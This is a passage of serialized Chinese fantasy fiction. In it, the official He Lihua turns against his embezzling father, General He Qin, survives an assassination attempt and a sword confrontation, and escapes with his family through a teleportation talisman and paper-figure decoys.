何立骅独自一人在房中待了半日,直到天色黑尽,他才打开房门从中走了出来。 慕徐二人也并未急于去询问他的想法,而是让宋玉卿带着他们的儿子,回到何立骅的房间,再让客栈将饭菜也送进去,让他们一家三口在房中好好聊。 期间,何立骅房中并未传来争执之声,慕徐二人便推测,宋玉卿应该成功了。 等到他们房里的烛火熄灭了,慕徐二人也跟着熄了烛火,等到明日再去试探他们的态度。 到了后半夜,整个嘉礼县都沉入梦乡后,又有三名黑衣人趁着夜色,潜入了何立骅所住的客栈内。 正在睡梦中的慕怀瑾,忽而被一道惊恐大呼惊醒,期间还伴着乒乒乓乓的兵器碰撞声。 他猝然睁开眼,猛地从床榻上坐了起来。 “外面出了何事?”徐菀也被惊醒,即刻起身整理衣衫。 “是何立骅那边的动静。应是何钦想杀人灭口。”慕怀瑾说着已下床披上外袍,“我先过去,你护好自己,必要时接应我!” 话毕便从枕边执起宝剑,转身旋风般出了房门。 来到屋外,慕怀瑾果然见有两名黑衣人,正与李侍从和赵侍从在庭院中对打。 慕怀瑾迅速向何立骅的房间赶去,经过那名老妇的房间时,见房门开着。 慕怀瑾探头一望,竟见那名老妇已仰面躺在地上,脖颈上横着一道又深又长的血口。 暗红色的血液从那大口子里泊泊涌出,漫过她的脖颈,在尸首下形成一滩血池。 幽幽月光从门外漫入,洒在那名老妇的身上,映得她脸色惨白,脖颈处的血口愈加触目惊心。 而那个襁褓中的布娃娃,还被她死死抱在怀中。想来她到死前,还依然保护着自己的孩子。 慕怀瑾本想过去查看,但前方何立骅的房中,又传来宋玉卿与孩子的尖叫。 他立马提剑奔了过去,一脚踹开房门,但见何立骅正持剑抵挡着第三名黑衣人。宋玉卿则抱着孩子躲在角落,吓得哭喊发抖。 何立骅虽出身武将之家,少年时随何钦学过一些武艺,但入朝为官后做的是文官,多年未再练习武艺,因而与黑衣人对打时显得很是吃力。 而慕怀瑾虽已从商,但多年来仍在坚持锻炼,再加上他有紫气护体,因此武艺不降反升。 遂慕怀瑾加入战局后,形势即刻扭转。 黑衣人见自己已落入下风,也不恋战,又与他们过了几招,便转身想跑。 没成想将将一个跟头从窗户翻身而出,便碰上了恰巧赶来的徐菀。 徐菀手持伏魔鞭,一甩鞭子缠住黑衣人的腰,再往回一拉,便将其拉倒在地。 她又一挥鞭,鞭尾朝黑衣人的面部飞去,顷刻间便将他面上的黑布拉下,让其面容暴露在了月光之下。 就在此时,何立骅与慕怀瑾恰巧从房中追了出来。 何立骅看清黑衣人的面容时,整个人蓦然一震,突然脱口大呼一声,“郭叔叔!” 被称为郭叔叔的黑衣人朝何立骅望了一眼,眼中竟流露出些许狼狈与无奈。 随后趁何立骅等人愣神之时,向另外两名黑衣人大喊一声,“走!” 三人即刻齐齐收剑,转身一跃,眨眼间便消失在黑夜之中。 三名黑衣人走后,慕怀瑾回头望向何立骅,“你认识那个杀手?” 何立骅的目光依然望着黑衣人消失的方向,久久未能回神,喃喃道:“他是我爹的副将郭明,自我记事起就已跟在我爹身边。” 此话一出,在庭院中的几人,以及何立骅自己,都明白了这意味着什么。 何钦那边已接到消息,有人来到嘉礼县调查十四年前甘州赈灾,以及嘉礼县大火之案。 于是,他派了几名心腹暗中前来,想将调查者灭口。 可没成想,那个调查何钦的人,竟是他的亲生儿子... “大人!那个疯女人死了!”李侍从的声音从不远处传来。 何立骅这才回过神来,忙赶过去查看,果然发现那老妇已死在了血泊中。 本来这位老妇能作为何钦私吞赈灾款的人证,可如今... “你爹的那枚戒指还在吗?”徐菀问。 “还在。”何立骅从怀中拿出那枚玉戒指,“幸好午后将其从那老妇身上拿过来后,就一直放在我身上了。” 慕徐二人暗暗松了口气,慕怀瑾道:“如今事实真相已昭然若揭。那个真凶也已知晓了我们的动作。 何大人,你是要与真凶同流合污,还是为了令公子与何家的未来大义灭亲,全在你一念之间。” 第351章 351.太夫人的疑虑 “何大人,你是要与真凶同流合污,还是为了令公子与何家的未来大义灭亲,全在你一念之间。” 何立骅缓缓抬首,望向夜幕中如弯刀般的暗月,渐渐握紧了手中的戒指,也下定了决心。 待他再望向慕怀瑾与徐菀时,眼中已一派清明,眸间闪动着势要与罪恶抗争到底的决绝。 “我知道该怎么做。” === 这晚之后,本还有些疑虑的何立骅,彻底信了自己爹爹就是幕后真凶。 否则他也不会如此急于杀人灭口了。 而如今郭明等人已在回到东部军营的路上,过不了几日,何钦定会知晓何立骅在调查他。 何钦的势力遍布朝堂,若待他知晓了此事,到时再想将证据上呈圣上便不可能了。 所以他们必须快马加鞭尽快赶回京城。 于是天亮之后,何立骅与慕怀瑾又去了一趟县衙,将能找到的所有线索与证据,皆整理带走。 接着又去了一趟县令府,将曲县令与假道士勾结,搜刮民脂民膏,且利用鬼神之说强抢民女的证据,收集齐后准备交给甘州太守。 在离开嘉礼县之前,关叔与汪焕清的魂魄再次出现。 关叔与关戎道别,提醒他随时监督何家人,若有机会碰见何钦,必先杀之。 汪焕清则与徐菀和慕怀瑾道别,期待他们将何钦绳之以法后,回来将这个好消息告诉嘉礼县的冤魂。 随后,何立骅和慕徐等人立即启程,经过甘州州府时,将关于曲县令的证据交给甘州太守,大致讲述了情况后,便立即启程,一刻不停向京城赶去。 直至第二日晚间亥时,几人的马车才终于赶回了京城。 在两家人分别之前,慕怀瑾与何立骅留了个心眼,架着马车又去了趟定北王府,以防万一。 末了继续向何府赶去。 “太夫人!太夫人!少爷和少夫人带着小少爷回来了!” 夜已深了,何立骅的祖母,何府太夫人正准备就寝,管家急切的通报声在寝屋外响起。 太夫人听管家的语气不对劲,一刻不敢耽搁,即刻起身,“快请!” 少倾,太夫人便理好衣衫来到院落前厅,何立骅已坐在椅子里等她了。 坐在前厅中的何立骅,连衣服都没换,一派风尘仆仆之态,一看便是方一回府就来此求见太夫人了。 何立骅执杯饮着茶水,听见脚步声,迅速放下茶杯起身行礼,“祖母,孙儿回来了!” “回来就好,回来就好。”太夫人将他虚扶起身,让他在椅子上坐下,“玉卿和宏彦呢?没出什么事吧?” “祖母放心,他们都平安无事。只是回京一路上赶路辛苦,孙儿先让他们回院洗漱休息了。” 太夫人松了口气,“那就好。”而后接着问道:“你们此行如何?查出什么了吗?” 听闻此话,何立骅的表情沉了沉。 嘉礼县一行,彻底让何立骅看清了何钦的真面目。 原本他还想念在父子之情,亲自去一趟东部军营,找何钦商议此事该如何解决。 可没成想何钦竟还执迷不悟,甚至狠心到才几日就派人来刺杀调查之人。 若不是郭明识得自己,自己或许已死在了嘉礼县。 因此,何立骅决定带着证据即刻回京,将此事告知祖母后将证据整理好,连夜写好检举信上表通政使司。 于是,他便将这几日在嘉礼县发生的所有事,一一讲与太夫人。 何立骅还将从老妇身上取回的戒指拿了出来,给太夫人查看。 太夫人仔细看了半晌,激动点头,“这确实是你们祖父留给你爹的戒指,我绝不会看错。” “所以,嘉礼县的大火十有八九是爹在背后指使魏志鸿做的。而他如此做的原因,正是因为他私吞赈灾款被当时的县令发现,县令又不愿被他收买,便命魏志鸿一不做二不休,杀了县令全家……” 听完何立骅的讲述,太夫人陷入怔忪,似乎不敢相信自己儿子何钦会做出此等伤天害理之事。 但一段尘封已久的记忆,再次浮现在太夫人的脑海。 那是十四年前,何钦从甘州回到京城,太后言他赈灾有功,特晋封他为正二品五军都督府都督佥事,又赏金千两。 何钦进宫拜谢皇上,领赏后回到何府,带了数箱皇上赏赐的宝贝。 那时的何家是多么风光,太夫人自然也为自己的儿子骄傲。 可就在何钦回府的当晚,太夫人却隐约听到一阵砸墙声,从何钦的院落传来。 太夫人觉得奇怪,派人去何钦的院落询问。下人回来只说何钦院落有一处台阶年久失修,这会儿正差人修缮,稍后便好。 太夫人便未再多做过问。况且她知道,若是儿子真不想说的事,问再多也无用。 到了第二日,何钦果然没再提昨晚之事。且太夫人发现,何钦带回来的四名护卫不知所踪。 还有他带回的八箱尚未开封的宝贝,也消失的无影无踪。 太夫人问起时,何钦只说是她记错了,根本没有那八箱宝贝。 几日后,何钦便离京赶往边关军营上任。太夫人也将那些事抛在脑后。 直至今日何立骅说起时,太夫人才想起,那晚的砸墙声,难道是何钦在藏匿什么? “祖母?祖母?” 身侧,何立骅的呼唤声传来,将太夫人从回忆中唤醒。 “祖母,慕夫人说,想要救宏彦,就必须还清我爹造的孽。否则不止是宏彦,我们整个何家都会万劫不复。” 何立骅说完,将目光转向太夫人。 “祖母,孙儿打算明日便将证据与检举信交给通政使司,再用祖父的丹书铁券保爹一命。祖母意下如何?” 听罢何立骅的一番话,太夫人呆呆地坐在椅子里,不知该如何选择。 毕竟手心手背都是肉。哪一种选择对她来说,都是剜心之痛。 “立骅你先别急,容祖母细细考虑一番再决定。” 何立骅见此有些急了,“祖母,事已至此,您还想当做什么都不知道,任由爹犯下的过错祸及子女吗?” 第352章 352.父子拔剑对峙 太夫人望着他激动道:“可是...他毕竟是你爹啊。哪有儿孙亲手将爹娘送入大牢的。 立骅你再等等。要不你再去问问慕夫人,看有无其他法子能化解你爹的罪孽。” “若是有的话,嘉礼县那数百个冤魂,就不会在那里流连十几年不去了。” 说到此处,何立骅觉得已没必要再与她说下去,便想起身告辞。 太夫人见他要走,急急起身吼道:“立骅,你听祖母一句,不要这么激动。你若是这样做,就是不孝,就是大逆不道!” 何立骅蓦地一震,意识到事到如今,祖母竟还用孝道压他,真是到了是非不分的境地。 遂,何立骅深吸一口气,决绝道:“祖母说的对。孙儿确实大逆不道。但为了彦儿,还有我们何氏一族的将来,这大逆不道的骂名,我背了!” 厉声喊罢,何立骅没有行礼便转身就走,留太夫人一人慌乱无措地立在原地。 太夫人院里的几位嬷嬷急忙来搀扶,太夫人却仿若未觉般,怔怔望着何立骅离开的背影。 是自己是非不分吗?太夫人扪心自问。 可若是将何钦告发到皇上那里,必是削官砍头的重罪。 何立骅的官爵,都有可能被削掉,并且没收何家所有财产,将他们贬为庶民。 可若是不这么做,小重孙何宏彦便无力回天。何家也会因何钦的罪孽而绝后没落。 所以到底该如何做才好呢? === 何立骅带着怒气返回自己的院落。 见寝屋中的烛火已熄灭,想必夫人与儿子皆已睡下。心中的气愤这才消解了一些。 但他并未返回寝屋,而是拐弯向书房而去。 他打算今晚就将检举书写好,明日便亲自送去通政使司。 何立骅走进书房,书房内并未点灯,光线昏暗,仅能借着窗外惨淡的月光,隐约看清烛台的位置。 何立骅慢慢摸到案角的烛台边,用旁边放着的火折子,将烛台点燃。 哗的一声,火苗燃了起来,烛灯燃起的火光,将昏暗的书房照亮。 何立骅甩灭了火折子,转身便想往桌案后走去。 可就在他转身的一刹那,突然看到桌案后的椅子里坐着一个人!正目光阴沉地望着他。 “爹…爹?您怎么在这里?” 幽暗摇曳的烛光下,面容阴鹜的何钦突然出现在何立骅的书房,将他吓得心脏猛然一跳,急忙扶住身后的桌案才未摔倒,面色瞬间煞白,内衫都被冷汗浸湿。 而何钦大马横刀地坐在椅子里,微微颔首,拿着一块绸布,缓缓擦拭着他那把巨大沉重的佩剑,双眼却一瞬不瞬盯着何立骅,唇角紧绷,眼中涌动着浓浓的阴狠杀意。 “立骅,你这是刚从何处回京?玉卿跟宏彦可还好?”何钦仍旧缓缓擦拭着巨剑,语声不带一丝情绪。 听他提到自己的妻儿,何立骅心中一紧,即刻向门外飞奔而去,想去确认妻儿的安危。 就在这时,何钦低沉沙哑的嗓音再次在他身后响起,“他们在房中安稳睡着,你怕什么?” 何立骅恰好奔到门口,闻言猛然停住,双手死死抓着门框,心跳飞快。 紧接着,何立骅迅疾转身回到何钦身前,扑通一声向他跪了下去,“爹,求求您…不要伤害宏彦和玉卿!” 何钦擦拭的动作停住,抬眼睨向他,嘴角微扯,“他们是我的孙子和儿媳,我怎会伤害他们?” 说到此处,何钦顿了顿,而后将手中的巨剑和绸布放在桌案上,紧盯着何立骅森森开口,“但是我的儿子,立骅啊,你为何要害你爹我?” 何立骅蓦然一震,有一瞬间想向何钦磕头认错,求他放过自己和妻儿,向他保证今后对他的话言听计从。 毕竟面对着这位严父时,何立骅天生就有种恐惧。 可想到自己在嘉礼县了解到的惨剧真相,还有自己儿子的安危,何立骅深吸一口气,平复心中的紧张,做好今晚与何钦摊牌对峙的准备。 随后,他还是先装作浑然不知道:“爹,孩儿不懂您的意思……” 何立骅的话还未说完,突然啪的一声,何钦猛然将一沓书信和账册摔在何立骅脚边。 “你不懂?!我的好儿子,如今真是愈加优秀了……”何钦说的咬牙切齿,嗓音气的发抖。 何立骅跟着蓦然一抖,垂眸看了一眼散落在脚边的东西,都是关于曲县令的罪证。 何立骅微微瞪大了眼。他们昨日才刚刚将这些交给甘州太守,今晚就已到了何钦手中,速度真是快啊。 幸好当时他们未将关于何钦的证据交给太守,否则现下那些证据已被何钦销毁。 何立骅深吸一口气让自己冷静下来,接着与何钦翻牌。 “爹真是神通广大。我今晚才从甘州回京,这些文书已到您手上了。那么想必爹也已经知道,我们去嘉礼县查到了什么。” 何立骅说着,猛然抬眼,毫无畏惧地迎上何钦的视线。 何钦亦微微一怔,未料到何立骅竟敢这样对他说话。 “对。你们在嘉礼县做了什么,我都已知晓。立骅你清醒些,莫要被某些人牵着鼻子走。难不成你还要将爹送入大牢不成?” 何立骅不受他的影响,沉声道:“爹,我很清醒。你才是那个执迷不悟之人。 你当年犯下的滔天大罪,害了数百条人命。而今你的罪孽,已报应在了我和宏彦身上。 若你继续行杀戮之事,而无任何悔改之心,我们何氏一族,可能就要断在宏彦这一代了!” 何立骅的话音未落,何钦便猛然起身,狠狠一脚踹在他胸口。 何立骅身子登时向后飞去,脊背咚得撞在后方的立柱上,紧接着噗得吐出一口血来。 “混账!逆子!竟敢如此跟你老子说话!信不信我现在就砍了你!” 何钦执起桌案上的巨剑,手臂一抡,那巨剑便呼地飞至何立骅的脖颈旁,冰冷的剑气刹那间穿透衣领渗入他的皮肤。 何立骅惊得一哆嗦,之后仍旧岿然不动。他缓缓抬起头,被鲜血染红的嘴唇慢慢开启:“您就算杀了我,我也不能让您一再错下去。” 第353章 353.大打出手 何钦望着此时宁死不屈的何立骅怔了片刻,没成想自己这些年未与家人在一起,自己儿子的心智竟变得如此坚韧不屈,颇有自己当年刚入军营时的风姿。 又想到何立骅是自己唯一的孩子,何钦顿时又有些不忍,握着巨剑的手松了松,想用父子之情劝他。 “立骅,你可知若是你将那些证据交出去,爹会受何等责罚吗?不止爹会掉脑袋,甚至咱们何氏一族,你,玉卿还有宏彦,都会受到波及。你担心我的罪孽会祸及宏彦,难道就不怕皇上一怒之下,株连我们九族?” 何立骅抬手用手背抹了一下嘴角的血,摇了摇头,“爹…听孩儿一句劝。明日我们一起进宫面见皇上,您主动将私吞的赈灾款交出来,然后认罪伏法。 我再自请替父受罚,并用祖父留下的丹书铁券救您一命。相信皇上会念在祖父的丹书铁券,和我愿替父受罚的孝行上,饶我们全家不死。 到时我们都致仕回乡,在老家过平淡安宁的日子,可好?” 听罢何立骅的话,何钦对这个儿子的执拗彻底失望。 他气恼地重叹一声,弯身质问:“立骅,你如今为何如此冥顽不灵?我与你说的话,你听不懂吗? 皇宫里那二位,如今对你爹颇为怨恨忌惮。你将这些证据交上去,就是将刀送到敌人手中。他们必会要我死! 就算他们饶我不死,让我致仕还乡,这与杀了我有何区别?没了权势,多的是人能要我们的命!你懂还是不懂!” 何立骅用一种愕然又心痛的目光望着何钦,随后带着淡淡的讥诮一笑。 “爹,如今你拥有的一切,就真的是你的吗?你已被权势冲昏了头脑,以为拥有了权势就拥有了一切。可到头来,我们都是当权者的棋子而已! 如今你主动认罪伏法,或许还有一线生机。他日若是皇宫中那两位率先向你下手,我们全家才是真要被株连九族了!” 何钦再也没有耐心听下去,再次举剑放在何立骅脖颈旁,冷声威胁道:“废话少说,将证据交给我!” 瘫坐在地上的何立骅,先是垂眸扫了一眼贴着自己脖颈的巨剑,眼中流泻出一抹心痛与悲凉。 自己亲爹为了权利,竟对儿子拔剑相向,将家人的安危抛之脑后。 这样的人,就像装睡的人永远无法被叫醒一般,与他再多说无益。 于是,何立骅仰起头对他无畏地笑笑,“证据不在我手里。” “是不是在慕怀瑾手上!快说!” 何钦吼道,又将剑刃往何立骅的脖颈贴了贴。何立骅立时感觉颈间一凉,一道血痕霎时出现在他的脖颈之上。 何立骅不由得屏住呼吸,抬眼狠狠向何钦瞪去,“你杀了我也找不到!” “哦?是吗?”何钦拉长着语调,阴狠道:“你不说,玉卿跟宏彦应该也知道吧?” 何钦说罢,旋即转身抬步向门口走去。 何立骅霎时一凛,立马向他飞扑而去抱住他的右腿,“不!爹不要!他们是您的孙儿啊!不要伤害他们!” 何钦回身又是一脚踹在何立骅身上,弯身揪起他的衣襟,将剑横在他的喉部,“不想让我伤害他们,就赶紧说!证据在哪儿!” 何立骅强迫自己冷静下来,暗想还好慕夫人提前料到会有此种情况,为他和妻儿准备了一道能安然撤离的符纸。 当务之急就是要尽快赶到妻儿身边,拉着他们一起转移。 可现下该如何从何钦剑下挣脱? 就在何立骅紧张思考之时,一道洪亮的孩童嗓音,带着浓浓的恨意与杀意,猝然在门口响起。 “何钦!你这十恶不赦的恶魔!我今日就要替我关家九口,还有嘉礼县数百县民报仇!” 喊声落下,还不待何钦反应过来,一道小小的人影便从门口猛地朝他撞了过来。 这一撞,竟生生将何钦撞出了两米远,撞在后方的博古架上。博古架上的木雕与瓷器皆掉在地上碎裂一地。 何立骅院落的动静之大,甚至惊动到了隔壁院落的太夫人。 太夫人本就因方才与何立骅的谈话辗转难眠,现下听到那边如此大的动静,心知一定是出事了,连忙起身更衣准备去那边查看。 可太夫人在几位嬷嬷的陪伴下,将将打开院落门,便被门外站着的数名佩剑的强悍男子拦住。 “太夫人,夜深了,请回屋休息。” 太夫人登时一惊,“你们是何人?怎会在我府上?” 为首的男子恭敬但强硬道:“太夫人莫怕,我等是何将军的手下。何将军今日回京办事,命我等入府保护太夫人。” “我儿回京了?他现下身在何处?”太夫人紧跟着问道。 “将军此次回京乃暗中行事,我等也不甚知晓。待将军办完事后,自会亲自回府来见您。” 就在二人谈话间,隔壁何立骅院落又传来些器物砸毁的巨响,以及激烈打斗怒骂声。 太夫人心内一紧,抬步便想往那边走,门外的几名男子迅疾抬臂拦在她们身前。 太夫人身边的嬷嬷厉声喝道:“大胆!哪里来的东西,竟敢阻拦我们太夫人!” 几名男子依旧寸步不让,反而语气更加冷硬,“将军也是为了太夫人的安危。还请太夫人莫要为难我们。” 说罢,再不与她们多言,直接横起带鞘的刀与剑,将太夫人等人往回赶,“太夫人,请回屋休息。” 太夫人与几位嬷嬷皆是女流,又上了年纪,根本无法与那些男子抗衡,只得扯着嗓子大喊,“来人啊!将这些贼人赶出去!来人啊!” 可无论她们如何呼喊,府上的家丁与护院,却无一人现身。因为府上的所有下人,也都被看管了起来。 最后,太夫人与嬷嬷们都被推回了院里。院门关闭,任凭她们如何拍打咒骂,院门都纹丝不动。 太夫人颓然立在院中,怔怔望着何立骅院落的方向,心中焦急担忧万分。 钦儿已回府了吗?难道此时就在立骅院落里,二人发生了冲突? 第354章 354.瞬移符 钦儿已回府了吗?难道此时就在立骅院落里,二人发生了冲突? 正想到此处,隔壁院落又传来何立骅惊恐焦灼的喊声,甚至还有宋玉卿和宏彦的尖叫。 太夫人的心霎时提了起来。钦儿不会冲动之下伤害立骅跟宏彦吧! 可自己如今被软禁在这院落里,根本出不去,这可如何是好! 太夫人有心却无力,只得困在这院落里干着急。 她不由得扪心自问,自己方才劝立骅是否劝错了。钦儿确实已魔怔了,连自己的儿孙都不放过。 到底是自己儿子重要,还是何氏一族的将来重要,太夫人心中已大致有了决断。 === 与此同时,隔壁院落的书房中还在进行着一场混战。 方才关戎突然从何宏彦体内苏醒,蓦地从寝屋冲到书房。 何钦见何宏彦突然出现,一时未反应过来,被他一头撞到博古架上。 倒在地上的何钦难以置信地望着“何宏彦”,“你…你是宏彦?” “我不是何宏彦。”关戎立在书房中怒视着何钦,“我是被杀害的嘉礼县县民之一。何钦,今日我要你血债血偿!” 喊罢,何宏彦再次向何钦冲了过去。 趁着关戎将何钦引开,何立骅用尽全力从地上爬起来,想去找宋玉卿。 恰巧此时,宋玉卿从寝屋追到了书房,望见何宏彦与何钦缠斗在一起,焦急地呼喊着他的名字,“宏彦!彦儿!快回来!” 宋玉卿呼唤着便想往过冲,却被何立骅一把拉住,“别过去!我们快走,等宏彦过来我们就走!” 而“何宏彦”还在与何钦拼命。他虽有关戎怨气的加持,行动迅速,力大无穷。但他归根结底用的还是个孩子的肉身。 而何钦常年在军营与战场历练,武艺与战斗技巧都极其精湛。 起初面对何宏彦没有防备,被他击倒。但后来何钦渐渐摸出了他攻击的规律,自己也找回了状态,慢慢将颓势扭转,在与“何宏彦”的缠斗中占了上风。 并且他手握巨剑,“何宏彦”却没有武器,巨剑挥过来时,险些割断他的脖颈。 就在这时,何立骅向他大喊,“宏彦快过来!” 关戎却还不想放过这个机会,“你们走吧!我今日就算与他同归于尽,也要杀了何钦!” 何立骅夫妇一听大惊,“你如今用的是我儿子的肉身,谈何同归于尽!而且你根本打不过他。你快过来,我带你走。平安离开这里才能为你家人报仇!” 何钦听到他们的对话,不由得一愣,“你不是我的孙子?你到底是谁?” 关戎厉声道:“我就是当年被你杀害的关县令的儿子!我们死后化成鬼来找你了!” 何钦整个人一震,难以置信,“你…不可能…这世上根本没有鬼,都是神棍们编造的!” “少与他废话!快过来!”何立骅喊道。 关戎望了一眼何立骅,又回头望向何钦,“何钦,我定会亲眼看着你覆灭的那一日!”说罢,迅疾回身向何立骅奔去。 何立骅一手拉着宋玉卿,一手将徐莞给的符纸从怀中掏出。 在宋玉卿将“何宏彦”抱入怀中的一瞬,何立骅果断将那张符纸塞进口中,接着用力咽了下去。 随后不可思议的一幕发生了。 只见一阵烟雾在何立骅三人所站处轰然腾起,片刻后烟雾散去,三人的身影便消失得无影无踪。 仍旧身处书房中的何钦,简直不敢相信自己的双眼。 他们方才明明站在此处,怎会眨眼间就没了? 何钦疾步奔过去查看,无任何发现后又跑出书房来到庭院,仍旧未发现他们的身影。 “来人!”何钦厉吼一声,即刻有一名魁梧干练的男子,从院外快步走了进来。 “将军,下官在!” “传我的命令,所有将士从此刻起全城搜寻我儿子儿媳跟孙子的踪迹。 找到他们就立刻将其捉拿带回何府,万万不能让他们去通政使司或进宫!” “是,将军!” “对了,再派十个人在永嘉侯府附近监守,若是有人出府也要跟紧了,及时向我汇报!” “是,将军!”手下得令后,即刻转身下去传令。 何钦则气得回身猛然一挥剑,登时砍断了庭院中一棵一人环抱的大树。 树冠轰然砸落在庭院的一瞬,何钦蓦地想起自己寝屋墙后的那些箱子。 若是何立骅他们真要检举自己,那些箱子里的东西就是最强有力的证物,必须即刻将那些东西转移。 思及此,何钦叫了几名手下快步向自己的院落而去,命他们将寝屋里的那面墙砸掉。 几名身强力壮的手下,不消片刻便将那面墙砸出一个大洞。 何钦示意他们在外面等着,自己端着烛台弯身从洞口钻了进去。 可当他一抬头看清密室中的情景时,猝然一震。 何钦:“!!!” 那些八个箱子呢! 箱子里的五十万两白银去哪里了! 我的银子呢!!! 何钦心中一阵慌乱,端着烛台的手都不住颤抖。 但他很快强迫自己冷静下来,转念一想,那些银子消失也不见得是坏事。若是皇上派人来府上搜查,便什么都找不到了。 想到此处,何钦原本高悬的心渐渐放了下来,甚至忍不住放声大笑。 “哈哈哈...哈哈哈哈哈哈...” 真是天助我也。 慕怀瑾,你想为你爹报仇将我拉下马。 休想! === 就在何钦的手下,在京城的大街小巷细细搜寻时,何立骅一家,已身处定北王府中。 原来,他们在回京城时便与慕徐二人和定北王商议好。 在何钦要对何立骅等人动手时,只要他们三人互相拉着或抱在一起,何立骅再吞下那道符纸,三人便可瞬间转移到定北王府。 定北王府上下,这夜也同样无眠。 冷锋流星,以及府中管家和几名护院,皆等在徐莞指定的后花园中。一旦有人出现,他们便会向鄞玄通报。 等到接近丑时时,花园中终于有了些动静。 只见花园的凉亭中,不知从何处飘来一阵烟雾。紧接着嗖的一声,几个人影登时出现在烟雾中。 第355章 355.分身术 冷锋即刻举拳警示,花园内的所有护院便齐齐举起武器对准凉亭,做好有可能是敌方出现的准备。 好在烟雾散去,出现在凉亭中的,正是何立骅一家三口。 “何大人!”冷锋立即开口唤道,同时示意护院解除警戒。 而后流星转身去向鄞玄通报,冷锋则向凉亭奔去。 此时的何立骅一家人十分仓皇狼狈,何立骅的嘴角跟衣襟处还有血,看上去颇为骇人。 “何大人伤势如何?是何钦向你们发难了吗?”冷锋搀扶着何立骅问道。 何立骅一手撑着膝盖,大口大口呼吸着,感觉浑身虚弱无力,在冷锋与宋玉卿的搀扶下,慢慢走到凉亭边坐下,不住点头。 “是...我爹什么都知道了,他想杀了我...万幸慕夫人提前准备了那道符纸。” 这时鄞玄与流星也赶到了凉亭中,何立骅宋玉卿见到鄞玄,想起身行礼,鄞玄率先伸手虚扶,制止了他们。 “何大人跟夫人快请起,在我府上无需多礼,你们坐下说话。” 何立骅等人坐下后,鄞玄又吩咐管家诚叔将府医请来,随后便向何立骅问:“何大人,方才您说何钦要杀你?” 何立骅点头,疲惫道:“对。他猜到我准备明日将证物跟检举信呈递给通政使司,所以连夜从东部军营赶了回来。 还好我提前将证物交给了您。他问我要证物,我不给,他便要杀了我,甚至还想用我夫人和孩儿威胁我。 恰好那时,我儿体内的魂魄觉醒,与何钦缠斗片刻,为我争取了时间。我准备好后,便吞下符纸带着他们来到了您府上。估计我爹此时已命他的手下在全京城找我了。” 说到此处,何立骅喘了几口气,忽然扑通一声跪在鄞玄身前,抓住他的手臂恳求道: “王爷,求您明日一定要带着证物进宫亲手交给皇上。我爹已为权利疯狂,我不能让他一错再错,连累我何家万劫不复!” 鄞玄弯身握住他的手,向他点头道:“何大人放心。有慕夫人给的符咒,明日就算何钦在京城布下天罗地网,我们也能顺利进宫面圣。” === 翌日卯时,天色方蒙蒙亮,何钦手下副将郭明便回府来报。 “禀将军,将士们在京城各个街巷搜寻一夜,皆未寻见少爷等人的身影。永嘉侯府也无人外出。” 何钦坐在自己的寝屋中,亦一夜未眠。 一旁被砸烂的墙壁已命人砌上,又挂了几幅书画上去,便将痕迹隐去。 此时,何钦听到郭明的汇报,眉宇微蹙,“没寻见?难道他们就那样凭空消失了?” 郭明面露尴尬之色,不知该如何答复。 何钦又道:“给我在各个街巷加派人手继续盯着,还要盯紧了通政使司跟皇宫。他们今日定会有所动作。一旦发现可疑之处立刻通知我。” “是,将军!” === 永嘉侯府内,松风苑的前厅里,徐莞与慕怀瑾正用着早膳。 这时,管家福叔慌张来报,“侯爷、夫人,咱们侯府周围多了很多盯梢的人,一个个看着都凶狠的紧。这该如何是好?” 慕徐二人好似根本未将福叔的话放在心上,慕怀瑾慢条斯理地帮徐莞吹着粥,将粥端给她后,才漫不经心地说: “有何可惧?你们该干什么还是干什么。他们不敢直接上来对你们动手。” 福叔急得坐立不安,却无计可施,只得应声道:“是侯爷,我这就吩咐下去。” 福叔走后,慕怀瑾向徐莞问:“永嘉侯府外都安排了如此都人手盯梢,想必何钦的人已遍布京城各处了。菀菀,你真有把握鄞玄跟何大人能顺利入宫?” 徐莞一面吃着早膳,一面胸有成竹地说:“我办事,你还不放心?待会儿,何钦的手下就会在京城各处见到许多个“何立骅”……” 在徐莞向慕怀瑾解释的同时,京城中各个卖早点的铺子陆续开张,路上的行人也慢慢多了起来。烟火气渐渐在京城的大街小巷弥漫开来。 而何钦的手下们,皆乔装打扮成平民的模样,在各条街巷中盯梢。 忽然,正在兴华街一家早点摊上吃馄饨的两名手下,隐约望见何立骅的身影从前方一晃而过。 两人即刻起身追了上去,同时将消息告知给传话的手下。 与此同时,在京城东面一条街上盯梢的两名手下,也看到了何立骅的身影,即刻起身跟上,也将消息传了出去。 无独有偶,京城西面的一条街中,何立骅的身影又出现了。两名手下也朝他追去,亦给传话人告知了此事。 “……这些传话的人,将消息一一传回何府……” “郭将军!兴华街的兄弟来报,他们看到何大人了!” “郭将军,何大人在京城东面出现了!” “郭将军,京城西面的兄弟也说他们看到何大人了。” “郭将军,南面也有兄弟说看到何大人了。” “郭将军……” 几乎是同时,这么多人来报在京城的东南西北都看到了何立骅,惹得郭将军勃然大怒。 “他们看清了吗就来报!何大人怎可同时出现在那么多地方!” 前来传消息的人被骂的狗血淋头,一个劲儿赔罪。 “将军息怒。但是…他们真的都是这么说的,都确定自己看到的就是何大人……” 郭副将举着剑柄,像打地鼠一样朝他们脑袋一一打去,“放屁!” “…呵呵何钦的副将头都大了,”慕怀瑾在永嘉侯府中笑道。 “但那些将士确实都没有说谎,他们每个人都看到了何立骅,并追了上去…”徐莞继续解释。 “追上去后会如何?他们能抓到何立骅吗?” 徐莞摇摇头,腹黑一笑。 跟着“何立骅”的背影一路追赶,每组手下们都七拐八拐,追进了小巷子里。 东边那组两名手下跟着“何立骅”跑到了一处死胡同。“何立骅”立在胡同尽头不知所措。 两名将士相视一笑,之后一同向“何立骅”扑去。 谁料,二人竟一头撞在了尽头的墙上。“何立骅”居然突然消失了! 第356章 356.严加搜查 “哎呦!”二人痛叫一声,低头一看,脚下是一张黄色的小纸人,纸人上用朱砂写着“何立骅”三个字。 二人正想捡起,那纸人却呼地燃起了火,不消片刻就化为灰烬,随风飘散。 而在京城的另一边,西面那组手下也将“何立骅”逼进了一片小巷中。 两人互打了个手势,之后打算分头从两个方向包抄“何立骅”。 少倾,他们终于将“何立骅”逼入了一条巷子里,一人站一边,堵死了他的路。 紧接着,二人突然从两个方向齐齐向“何立骅”冲去。 下一瞬,嘭的一声,紧接着便是一阵痛苦的哀嚎,“哎呦喂!疼死我了……” 只见两人皆捂着脑门仰面倒在地上,额头上被磕出了一个大包。 而方才的“何立骅”则突然消失无踪,地上仅剩一张用朱砂写着“何立骅”三个字的黄色纸人,被风一吹便燃起了火,不一会儿便化为灰烬。 